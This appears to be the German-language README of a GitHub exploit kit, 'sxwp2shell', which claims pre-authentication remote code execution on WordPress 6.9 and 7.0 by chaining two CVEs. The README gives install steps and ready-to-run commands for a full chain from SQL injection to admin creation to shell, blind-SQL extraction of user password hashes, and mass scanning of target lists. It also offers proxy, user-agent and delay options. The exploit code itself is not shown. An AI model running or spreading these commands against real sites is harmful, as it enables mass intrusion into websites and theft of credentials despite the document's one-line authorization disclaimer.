sentinelxofficial/sxwp2shellWordPress wp2shell Pre-Auth-RCE-Exploit-Kit (CVE-2026-63030 + CVE-2026-60137)
/ ___/___ ____ / /_(_)___ ___ / / | |/ /
\__ \/ _ \/ __ \/ __/ / __ \/ _ \/ / | /
___/ / __/ / / / /_/ / / / / __/ /___/ |
/____/\___/_/ /_/\__/_/_/ /_/\___/_____/_/|_|
sxwp2shell — Pre-Auth-RCE-Exploit für WordPress über REST-API-Batch-Routen-Verwirrung (CVE-2026-63030) + SQL-Injection (CVE-2026-60137).
Betroffen: WP 6.9.0–6.9.4 / 7.0.0–7.0.1
git clone https://github.com/SentinelXofficial/sxwp2shell
cd sxwp2shell
chmod +x sxwp2shell.py
Python 3.7+, nur Standardbibliothek — keine pip-Installation erforderlich.
| Befehl | Funktion |
|---|---|
check <url> | Erkennt Version, Batch-Endpoint, Routen-Verwirrung & SQLi |
exploit <url> | Vollständige RCE-Kette (SQLi → Admin-Erstellung → Shell) |
read <url> | Datenextraktion per Blind-SQLi |
scan <file> | Massenscan von Zielen aus Datei, CSV-Export |
python3 sxwp2shell.py check https://target.com
python3 sxwp2shell.py exploit https://target.com --cmd id
python3 sxwp2shell.py read https://target.com --query "SELECT user_pass FROM wp_users"
python3 sxwp2shell.py scan targets.txt -o results.csv
--cmd CMD Command to execute (default: id)
--query QUERY Custom SQL query
-k, --insecure Skip SSL verification
--proxy PROXY HTTP proxy
--timeout SEC Request timeout (default: 15)
--delay SEC Delay between requests
--agent AGENT Custom User-Agent
--no-color Disable colored output
-o, --output Save scan results to CSV
Nur für autorisierte Sicherheitstests. Lies DISCLAIMER.md.